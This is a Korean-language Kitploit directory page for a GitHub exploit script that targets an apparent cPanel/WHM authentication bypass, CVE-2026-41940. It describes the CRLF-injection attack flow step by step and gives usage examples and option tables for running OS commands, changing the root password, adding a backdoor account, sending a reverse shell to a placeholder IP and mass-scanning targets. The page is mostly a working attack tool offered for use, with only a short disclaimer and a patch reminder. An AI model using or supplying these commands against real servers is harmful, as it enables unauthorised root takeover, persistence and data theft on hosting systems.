Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41940 — cPanel/WHM 인증 우회 (제로데이 취약점) | Kitploit
도구/GitHubGitHub/0xyur1/cve-2026-41940
Authentication & AuthorizationVulnerability ScannersExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingAuthenticationRed Teaming
GitHub0xyur1/cve-2026-41940

CVE-2026-41940

cPanel/WHM 인증 우회 (제로데이 취약점)

1023개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-41940: cPanel/WHM 인증 우회 (단일 및 다중 타깃)

면책 조항: 본 문서와 관련 스크립트(exploit.py)는 교육 목적, 보안 연구, 그리고 승인된 침투 테스트를 위해서만 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에는 이 소프트웨어를 사용하지 마십시오.

개요

exploit.py는 cPanel & WHM에서 인증 우회 취약점(CVE-2026-41940)을 시연하는 스크립트입니다. 이 취약점으로 인해 인증되지 않은 공격자는 CRLF 주입 결함을 통해 데몬 캐시에 루트 세션을 주입할 수 있으며, 궁극적으로 유효한 자격 증명 없이도 루트 수준의 WHM 접근 권한을 얻을 수 있습니다.

취약점 분석 및 익스플로잇 흐름

이 익스플로잇은 Basic Authentication 처리 메커니즘 내의 CRLF(캐리지 리턴 라인 피드) 주입 취약점과 세션 전파 결함을 함께 활용하여 작동합니다. 스크립트는 공격을 4단계로 자동화합니다:

  1. 사전 인증 세션 발급: 공개 로그인 엔드포인트(예: /login/ 또는 /cgi/login.cgi)에 연결하여 기본 비인증 세션 쿠키(whostmgrsession)를 획득합니다.
  2. CRLF 주입: Base64로 인코딩된 페이로드가 포함된 조작된 Basic Authentication 헤더를 전송하여 루트 세션 필드를 cpsrvd 세션 캐시에 직접 주입합니다. 서버의 리다이렉트 응답에서 생성된 보안 토큰(cpsess)이 유출됩니다.
  3. 세션 전파: 원시 세션 쿠키를 인증된 WHM 엔드포인트로 전송하여 do_token_denied가 위조된 세션을 데몬 캐시로 전파하도록 트리거함으로써 유효한 인증 세션으로 만듭니다.
  4. 검증: 위조된 세션을 사용하여 제한된 WHM API 엔드포인트(예: /json-api/version)에 접근하여 루트 수준 접근 권한을 확인합니다.

사전 요구 사항

  • Python 3.x
  • requests 라이브러리
root@kitploit:~
pip install requests

사용법

root@kitploit:~
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]

인자

타깃 선택

인자설명
--target URL단일 WHM URL (예: https://target:2087)
--target-file FILE타깃이 포함된 파일 (한 줄에 ip:port 하나씩) — 자동으로 검사 모드 활성화

네트워크 및 핵심 옵션

익스플로잇 옵션 (우회 후)

출력 옵션

인자설명
--output FILE세션 토큰 및 세부 정보를 JSON 파일로 저장

예제

root@kitploit:~
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check

# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump

# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session

# Execute a command
python exploit.py --target https://target:2087 --exec "id"

# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell

# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'

# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1

# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com

# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444

# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check

# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20

# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json

대화형 셸 명령

--shell 사용 시 다음 명령을 사용할 수 있습니다:


알림

최신 cPanel/WHM 보안 패치를 즉시 적용하십시오.

도구 다운로드
인자설명
--threads N다중 타깃 모드의 동시 스레드 수 (기본값: 10)
--hostname HOSTHost 헤더 재정의 — 자동 탐지에 실패하거나 잘못된 호스트명을 반환할 때 사용
--timeout N요청당 타임아웃(초) (기본값: 15)
--retries N네트워크 오류 시 재시도 횟수 (기본값: 3)
--cookie-name NAME특정 세션 쿠키 이름 강제 지정 (생략 시 자동 감지)
--no-verify4단계 검증을 건너뛰고 계속 진행
인자설명
--check검사 전용 모드 — 익스플로잇 없이 취약점만 확인 (--target-file 사용 시 자동 설정)
--password PASS루트 비밀번호를 PASS로 변경
--api FUNC특정 WHM JSON-API 함수 호출
--api-params K=V,...--api에 전달할 쉼표로 구분된 매개변수
--exec CMDWHM scripts/run_script를 통해 OS 명령 실행 (대체: rawexec)
--session루트 원클릭 로그인 URL 생성 — 즉시 열어야 하며 토큰이 빠르게 만료됩니다
--shell대화형 WHM 셸 진입 (단일 타깃 전용)
--dump서버 정보 덤프: 버전, 계정, DNS 영역, 권한
--add-user USER PASS DOMAIN새 cPanel 호스팅 계정 생성
--revshell LHOST LPORT리스너로 bash 리버스 셸 전송
명령설명
api <function> [k=v ...]WHM JSON-API 함수 호출 (예: api version)
exec <command>WHM을 통해 OS 명령 실행 (예: exec id)
passwd <newpass>루트 비밀번호 변경
dump서버 정보 덤프
revshell <lhost> <lport>리버스 셸 전송
add <user> <pass> <domain>cPanel 계정 생성
save <path>현재 세션을 파일로 저장
exit / quit셸 종료